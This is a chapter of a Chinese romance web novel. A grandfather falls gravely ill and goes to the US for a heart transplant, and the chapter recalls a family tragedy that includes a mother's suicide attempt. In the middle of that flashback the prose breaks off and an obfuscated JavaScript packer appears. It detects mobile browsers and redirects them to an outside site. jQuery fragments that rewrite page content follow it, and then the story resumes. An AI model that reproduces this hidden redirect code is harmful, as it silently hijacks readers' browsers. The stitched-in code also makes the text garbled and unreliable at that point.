51. 空

作品:《情丝

    飞机落地后,总裁助理李敬銮已经在机场等候。


    董糯坐进车里,看得出李敬銮的表情也十分凝重,她问一句,他就答一句,说到起因时,语气轻了许多。


    “一个姓卢的女子找到老爷子,说了些事情,所以一下子刺激到了,引起心脏病复发。”


    这个姓卢的女子,想必就是卢溪;


    所说的事情,必然是程天曲猥亵□□。


    董糯心惊胆战,“老爷子几乎不怎么出门,奶奶又让一堆佣人守着家里,卢溪如何能直接找到老爷子?她不是出国了吗?!”


    “她有程公馆的座机号码,正好电话被老爷子接听到了。”


    听完李敬銮的话,董糯张口结舌愣了很久,转过身看向车窗外。


    流火七月,路边的白玉兰被晒得焦枯,气温灼热,车内和室内却是一片阴寒。


    终于到了医院,李敬銮领着她上电梯。


    顶层的套间病房,走进去,程天曲不知所踪,只有宁凤金和程强坐在客厅。


    程强的表情向来严肃,倒是宁凤金,原本很硬朗的老太太,此刻懊悔的瘫坐着。


    董糯同他们点了点头,就走进病房,看到程树繁躺在病床上。


    仿佛一夜之间,神采奕奕的老人骤变成了奄奄一息,带着鼻导管吸气。


    程鹭寻听到轻轻的推门声,回眸看到是她,就拉个板凳到床边,牵着董糯的手坐过来。


    老爷子瘦削的脸如干柴一般枯槁,却仍然蕴着柔和。


    “我跟孙媳妇说几句话,你们都出去吧。”


    程鹭寻清隽面容逆着光,望董糯一眼,见她点了点头,才应声:


    “行,那我出去买点东西。”


    病房门合上,董糯转过头,然后就瞧见老爷子悲戚地望向她:


    “好孩子,谢谢你,来见爷爷最后一面。”


    “不是的!”


    董糯用力摇头,双手拢住老爷子的手,“您一定能挺过来,我们约好了暑假要一起逛迪斯尼的!”


    这一句,几乎伴着眼泪被她说出来。


    “生老病死,该到尽头了。”


    程树繁哀叹着,目光沉沉,“是我的报应,宠得程天曲那个混账东西,坏到没救。”


    董糯的任何劝解在这一刻都变得苍白无力,她只能红着眼眶,重复着说魏晓的名医舅舅很快回国,说一定可以康复的,说会处理好卢溪和程天曲的事情……


    “鹭寻能处理好这些,爷爷不担心。”


    程树繁看小姑娘说着说着快要哭起来,他抬抬手,拍了拍她的头。


    “……鹭寻小时候,是我太偏心。我的那份遗产,现在全部给你们。”


    “不不,我们只要您好好的!”


    程树繁摆摆手。讲完遗产,他还提起二十年未见的大儿媳妇,程鹭寻的母亲——


    是一个名叫傅珠的善良女子,一家三口原本幸福美满,转折发生在程鹭寻小学二年级。


    记不清那一天程天曲的父母急着要去哪里,他们拦住了嫂子傅珠的车,由她顺道载他们一程,结果十字路口与一辆卡车相撞,程天曲的父母当场车毁人亡,傅珠肚子里未满两个月的小女婴也胎死腹中。


    傅珠在昏迷中得救,后来一直活在车祸的阴影中,她自认是罪人,是程家的丧门星,一害公婆痛失小儿子儿媳,二害丈夫失去兄弟,最害小侄子程天曲失去双亲……


    当时,程家上下悲恸、怜悯孤儿程天曲,无暇顾及傅珠的心理疏解,她终日自责,无辜的程鹭寻也无形中背上了良心债,崩溃的傅珠已顾不上儿子,最终皈依佛门。


    “鹭寻长大后,经常去天渡山,偏偏他妈妈就是不肯见他……我也是年纪大了,才发现亏欠了鹭寻太多,他才是在孤寂中长大的那个可怜孩子。”


    断断续续地说到最后,老爷子已经精力耗尽,干瘪的手握住董糯的手。


    “好孩子,鹭寻有你就不孤单了,爷爷也没有遗憾了。”


    ……


    从病房里出来,董糯一直强忍着泪目。


    世界静悄悄的,走到客厅中央,她突然注意到阳台那边有个身影。


    程鹭寻坐在阳台的椅子上,拉上了落地窗,在抽烟。没有察觉董糯正走近,他仰着脑袋,喉结慢慢滑动着,烟雾在月光下缭绕。


    董糯看不清他的表情。


    却也明白他的心情同样很差。


    董糯把酸楚咽下去,“爷爷这种情况,必须马上出国,是不是?”


    “你不要担心,还有办法。”


    程鹭寻回过神掐灭烟头,隔着落地窗,他的声音很小。


    董糯指尖颤抖,小心翼翼地把落地窗推开。


    “要尽快出发,不能耽误了。”


    “……嗯。”


    当程鹭寻把她揽入怀中时,她的眼泪终于绷不住地往下落。


    程鹭寻擦干她的泪,紧紧抱着她,仿佛要将她的温度刻进骨子里。


    -


    次日,程鹭寻飞往美国,董糯则回了北京。


    可能是因为彻夜未眠,她回到宿舍睡得昏天地暗,做了个长长的梦。


    梦到她遇见程鹭寻的时候是在他小学二年级。


    不是相亲认识。


    而是青马竹梅。


    她梦到自己跟程鹭寻一起坐了傅珠的车,不再有车祸,爷爷也不再受到任何精神打击。


    她还梦到不管是相亲、还是两小无猜、亦或只是一夜情,梦的最后,程鹭寻总是爱她。


    恒定不变。


    四五点时醒过来,董糯便再也睡不着。


    摸出手机,什么消息也没有,程鹭寻的飞机还在太平洋上空。


    他就这样走了,让她的生活一下子空了许多,时间好像变得超级漫长。


    回到空荡荡的别墅转了转,然后又去了程家老宅,董糯徘徊了很久很久,直到天黑,她才离开。


    跟爷爷相处的点点滴滴涌入脑海,老人家心心念念欢迎她住进老宅,而她却一直把这儿视为“假恩爱”的舞台,当初一百个不愿意,怎么也想不到今天的她会如此依恋,会为这个大家庭揪心到这个地步。


    董糯拿出手机,翻开爷爷的朋友圈,每一条点过赞的,她都重新手动点赞,重新写下说不尽的留言。


    兀自伤感时,手机突然响了一声。


    董糯心有戚戚,赶忙点开看——


    程鹭寻:【已经平安落地,安顿下来了。你好好吃饭,好好学习,照顾好自己。】


    屏幕逐渐变得模糊,泪珠再次落下来。


    七月初,董糯的阳历生日,收到了程鹭寻送的Hermes包包。忽地记起来,他陪她过农历生日时,送的是LV,后来又送了个百达翡丽腕表,作为她期末成绩第一名的奖励。


    程鹭寻离她很远,却又好像无处不在。


    董糯也再不怕高调张扬,把八克拉结婚戒指套在了自己的无名指上,而她眼圈红得像桃子,一副受了重创的感觉。


    暑假放假,董糯回了一趟老家,爸爸董玉峰十分关心亲家老人的病情。


    “去美国了?”


    董糯鼻音重重地“嗯”了一声,回想起春节时老爸没让程鹭寻跟着一起旅行,她撇嘴央求爸爸:


    “等你女婿回国,叫他来家里吃个饭吧。”


    “他什么时候回国?”


    “……不知道。”


    董糯没敢问,但也真的很想知道。


    程鹭寻刚走的那个月,俩人只联系过两次,一次是那天晚上,另一次是爷爷检查报告出来,医生说需要调养一个月才能进行手术。


    当时董糯问过,“移植手术是不是需要找到匹配的心脏捐赠者?”


    程鹭寻的呼吸声绵长,良久,答了声“是”。


    “找到了吗?”


    沉默像海上无边无际的大雾,程鹭寻顿了顿,说:


    “已经找到了。”


    大约觉察到她的担忧,程鹭寻的气息声音重新清晰起来,安抚道:


    “美国这边安全事故太多,比较容易遇到合适的心脏捐赠。钱给到位,捐赠者家属会非常乐见其成。”


    董糯因此松了口气。


    从行李箱中拿出了一本书,是程鹭寻经常看的那本《三体I:地球往事》。


    床头灯光昏黄,董糯躺在枕头上,掌心摩挲着书中夹着的丝带书签,翻看的那一页写着——


    空不是无,空是一种存在,要用空这种存在填满自己。


    如今分离在地球的两端,董糯空闲得相思成疾,可也帮不上他任何忙,唯有听他的话好好学习。


    她极力控制自己不去想他,集中精力放在学业上,暑假过半,她就回校了。


    社会实践的小程序项目有很大进展,论文稿费也陆续到账了。


    宅的日子太久,皮肤愈发冷白,身材也消瘦了些,木瓜牛奶很久没喝了,盼着长肉的地方依然没涨起来。


    但是在学校,董糯变得更加有名。


    很多人都知道,法学院有个女学霸,长着一张极为漂亮的软妹脸,学术论文百发百中,教授们总是夸,私心里都很想把她招到门下继续读博。


    成绩好又漂亮。


    照片自然被清大招生办贴在了官网上当门面,也就成了名副其实的“女神”。


    董糯经常在课桌抽屉里发现莫名其妙的情书,晚修后回宿舍,偶尔还会被人堵在电梯口告白。


    她一概拒绝,把东西都还回去了。


    研二开学时,有个金融系的研一新生开始追她。


    每次公共课放学,他会递给董糯各种歌剧话剧的演出票,图书馆闭馆后,也会准时过来接她。


    她有意亮出自己的戒指也没用,这个研一新生还是跟她告了白。


    他的声音和说话语气跟程鹭寻有些相似。


    某个瞬间,回忆如潮水将她淹没。


    她想起有次爬山一路上躲着追求者,程鹭寻当时跟她说:


    不喜欢但不要伤害对方,可以直接告诉对方理由。


    “我其实……已经结婚了。”


    董糯盯着对方的眼睛,很认真地拒绝。


    “……”


    “谢谢你的喜欢,你一定会遇到更好的人。”


    研一新生挠了挠头,有些意难平:


    “我想过会被你拒绝,但没想到,竟然已经结婚了。”


    董糯丝毫不尴尬,自嘲道:


    “我工作过两年才回来读研,已经25岁了。以前,我很怕学校同学知道结婚的事,已婚身份显得我比较老……”


    “一点儿不老。”


    “都做人家老婆了,还不老。”


    研一新生知道她是自谦,也猜出来女神嫁的是豪门权贵,他好奇地打听:


    “我能看看你老公长什么样吗?”


    董糯从香奈儿包包里翻出手机,点亮屏保上的合影照片给他看。


    对面的男生大吃一惊:


    “你老公是程鹭寻?!!”


    原本料想不会有男人配得上女神,但如果是程鹭寻的话,那真的是天造地设的一对儿了。


    没有人比他们更能配得上彼此。


    因由这次小插曲,董糯再想起程鹭的时候,好像也没觉得异地恋有那么难熬。


    所有人的眼中,他们都是绝配。


    所有关于他的回忆里,只有最后一次见面,是忧伤的。


    其余时光,都是带着五彩斑驳的颜色。


    鲜活又美好。


    或许是心有灵犀,又或许是奖励、是亏欠,程鹭寻更加频繁地送她礼物,国庆节中秋节感恩节甚至是他的生日,他都要送她珠宝。


    首饰一次比一次昂贵,常常由李敬銮携带两个保镖把上亿的礼物送到她面前,宿舍不便存放,珠宝统统被她带回了别墅保险箱。


    时隔数月,再次回到朱雀门的别墅,说不出的寂寥。


    北京的秋天,第一次这么漫长,第一次这么不美丽,一阵阵秋风带着霜雪的沁骨寒意。


    -


    爷爷偶尔从昏迷中醒来,总是念叨一些往事,也许是因为记忆太深刻。


    生日前夜,程鹭寻做了个梦。


    梦到了,母亲傅珠的车祸现场,梦到了叔叔嫂嫂的惨死,还有那个被他取名叫团团的妹妹也成了死胎。


    梦到了那一天的晚上。


    他放心回到家,听到傅珠在跟程天曲的外公打电话。


    她拨通号码,低着头,缓慢地说了一句:


    “对不起……”


    未说完这句话,就被对方打断,她渐渐体力不支,跪倒在地上,无声地流泪。


    电话里的谩骂声越来越大,突然响彻整个客厅:


    “程家原谅你,但我家绝不可能!我们家的女儿死在你的手上,有谁心疼我那可怜的外孙程天曲?你必须偿命!死吧!赶紧去死!”


    程鹭寻立刻走过去,拿过她手里的电话,挂断。


    傅珠泣不成声,喃喃重复着:


    “我该死,我该死,对不起……妈妈不能陪你了……”


    程鹭寻:“妈……”


    “老婆,你不要胡思乱想。”


    第一次碰到这么大的事情,程强的声音也带着颤抖,“我们一起想办法弥补,当牛做马,一辈子弥补天曲。”


    说时迟那说快,程天曲似是刚刚知道父母已亡,疯了一般冲进了程鹭寻的家。


    六岁孩童哭嚷着,捶打傅珠的头,傅珠任凭他泄愤,身体歪斜着。


    程鹭寻连忙跑上前,抱住傅珠,冰雹般重重的拳头落在了他小小的身体上,额角沁出了血。


    爷爷奶奶很快追随进来,看到这般场景,黯然流泪。


    最后的最后,程树繁把人扶了起来。


    程鹭寻用手背蹭掉额角的血,抬眼看着傅珠:


    “妈,相信我,我来还债。”


    “……”


    看了四周一圈,傅珠仍在摇头,眼泪簌簌。


    “你替不了我……我也恨透了自己……”


    程天曲还在骂着什么,宁凤金把他护在身后,捂住他嘴。


    傅珠的精神恍恍惚惚,喃喃道:


    “我偿命行吗?我死了就好了……”


    然后,程鹭寻看到他永生无法忘记的一个画面。


    他的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469084|166245||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    母亲,为了求得原谅。


    突然拿起一把水果刀,然后挥刀,刺向了心脏。


    ……


    傅珠没死成,又屡屡自杀,被协和的医生一次次救了下来,从那以后,程家把傅珠送到了天渡山疗养。


    程天曲和他外公家永不停息的指责,所有一切罪责,都全部转换了方向。


    程鹭寻从小默默承受着。


    他是罪人之子,他被亲妈抛下,没完没了的不公,直到高中住校才停止。


    而停不下的,是永久散不去的阴影。


    他一遍又一遍地爬向天渡山。


    母亲不肯见他,从她转交的经文上,程鹭寻看到了母亲的字迹,从前那个明朗自信的笔锋,已被重重压垮,变得怯懦。


    然后,程鹭寻看到。


    那时候,才成年的自己,立在了傅珠的门前。


    他垂着眼,“妈,能不能别抛下我。”


    “……”


    “爷爷奶奶都夸我是大哥哥,我做得很好,我有保护弟弟。”


    少年温和道,“我也能保护你了。”


    “……”


    所以。


    你回到我身边,好不好?


    ——程鹭寻从梦中醒来。


    天还没亮,他没了睡意,起身倒了杯水,又拿了两颗冰块丢进去。


    程鹭寻回到书桌旁,拿起手机扫了眼。


    置项的那条是董糯掐着零点,发过来的:


    【老公生日快乐\爱心】


    视频打过去时,董糯是北京时间傍晚五点。


    她刚洗了个澡,手忙脚乱地接听视频,头上还盖着毛巾,湿哒哒的发尾还有水滴落下。


    "不好意思让你拨了两遍,我刚才在卫生间。"


    手机平躺在桌上,董糯低头看镜头,这种死亡角度,反而显得她有点可爱。


    程鹭寻用指腹轻蹭了下屏幕,眉眼缱绻柔软:


    “好像瘦了。”


    看清她的背景是在家里,程鹭寻的神色放松了一些,“照顾好自己,有事找李敬銮。”


    董糯点点头,留意到他那边落地窗有医院的logo,外面下着夜雨,雨水滴砸在玻璃上,小溪流一般地缓缓流下。


    另外她还发现,程鹭寻看起来有点累,眉眼困倦地垂着。


    “爷爷还好吗?”


    “一切都好,已经定下手术的日子。”


    灯光稍稍黯淡下来,衬托得程鹭寻更显倦怠,他头发长长了些,遮盖眉毛,不似往日的清朗俊逸。


    董糯心疼不已,“下雨了,你多穿点。”


    “知道,你不要担心我。”


    一贯不食人间烟火的程鹭寻,细细叮咛:


    “天气预报京市明天会降温,你现在去把头发吹干。”


    “房间有暖气,不急。”


    董糯掖了掖头发,不肯中断视频。


    她盯着屏幕看了好一会儿,仔细打量他那边的环境,花纹墙纸,书桌上有工作材料还有大量医学资料,略显凌乱。


    最规整的地方,是一盆花儿稳稳摆在床头。


    离得有些远,董糯却一眼认出来,是他一直养着的那盆。


    “你把花儿也带去了?”


    “嗯,感觉有你在身边。”


    “这样啊。”


    董糯心跳加速。她想——


    如果花芽儿和她一样蔫,在听见程鹭寻的话,也一定会发生神奇的光合作用,感觉一下又活过来了。


    程鹭寻声音温润,"小花快要结果了。"


    董糯一愣,“真的吗,你挪近点,我看看?”


    “不挪。”


    他勉力笑笑,凝视看着。


    董糯双手搭在桌上,模样跟官网照片里上课的她一模一样。


    董糯等了一下,见他盯着她发呆,又开口催:


    "快点嘛,我看看花?"


    "刚才骗你的,花还没结果。"


    程鹭寻深深地望着她,"是我想和你有个好结果。"


    台灯下,董糯的脸慢吞吞变红:


    "哦,好啊。"


    电话里安静了几秒,董糯羞羞答答地跟他商量:


    "那我先去吹个头发,一会儿再打给你?我现在头发乱糟糟……有点丑吧。"


    烟烧到手指,程鹭寻拧灭,突然知道另一股情绪是什么了。


    不止是喜欢。是爱。还有疼惜。


    他在桌前抽烟,偶尔几缕烟雾从旁边飘过:


    "不丑,你去吧,手机放着就行。


    董糯撂下手机,刚打算快去快回,又被程鹭寻叫住,"架起来再走,不爱看天花板。"


    董糯忙把手机支起来:"这样看得见我吗?"


    "嗯。"


    董糯第一次吹头发吹得这么潦草,赶回手机前时,程鹭寻已经半躺在床头,一支可可爱爱的花盆就摆在旁边的柜子上,探头探脑的,好奇地露出芽片儿。


    董糯弯起眉眼,"花花……"


    紫荆花的整团苗苗怼在她手机屏幕里。


    就一晃眼,董糯还没看清楚,画面就被调转了镜头,可爱的花儿变成了程鹭寻的脸,说话带着依稀的气息声,好像苦笑了一下。


    “宝宝,你叫它比叫我温柔。”


    “……”


    跟植物也能争风吃醋啊。


    何况,现在也不是吃醋的时候吧。


    董糯看了看时间,她这边是傍晚,掐算一下时差,他那边应该是深夜。


    十一月十九日的凌晨四点。


    董糯的表情一下变得严肃:


    “这个时间点儿你还没睡,要么失眠,要么噩梦醒过来,对不对?”


    程鹭寻否认:“只是加班补工作,你不要瞎想,医生说爷爷做完手术,应该很快就能回去。”


    董糯悬着的心又落回肚子,命令道:


    “那你现在必须睡觉了,我给你唱个催眠曲。”


    程鹭寻轻轻嗯了声。


    董糯趴在桌上,声音里带了一点羞赧,轻轻地哼起了舒缓而温柔的摇篮曲。


    很快,歌声暂停,董糯也躺到了床上去。


    “哄你的同时,顺便把我自己也哄睡着。”


    程鹭寻眉眼又弯了弯。


    董糯侧躺着,手里握住手机,想象着与他睡在同一张床上,她唱起一曲摇篮曲,又唱了一曲生日歌,柔软的音符似一团跳动的火苗,漂洋过海,直抵心灵的彼岸。


    “老公……生日快乐……”


    “会好的,爷爷会好起来的,我们所有人都会好起来,我不瞎想,你也不要瞎想,噩梦都是假的,只有我们的婚姻是真的,我是真的……”


    “我知道。”


    程鹭寻声音低沉,带着奇异的温柔,在静谧的夜里,让人只觉安心。


    两人有一搭没一搭地说着话,董糯渐渐入眠,也不知道到底是被她自己还是被他哄睡着的。


    那头的人听着她平缓的呼吸声,也渐渐入了眠。


    手里电话一整晚没挂,仿佛在无声地述说着——


    从床前的花,到宇宙爆炸。


    他永远爱她。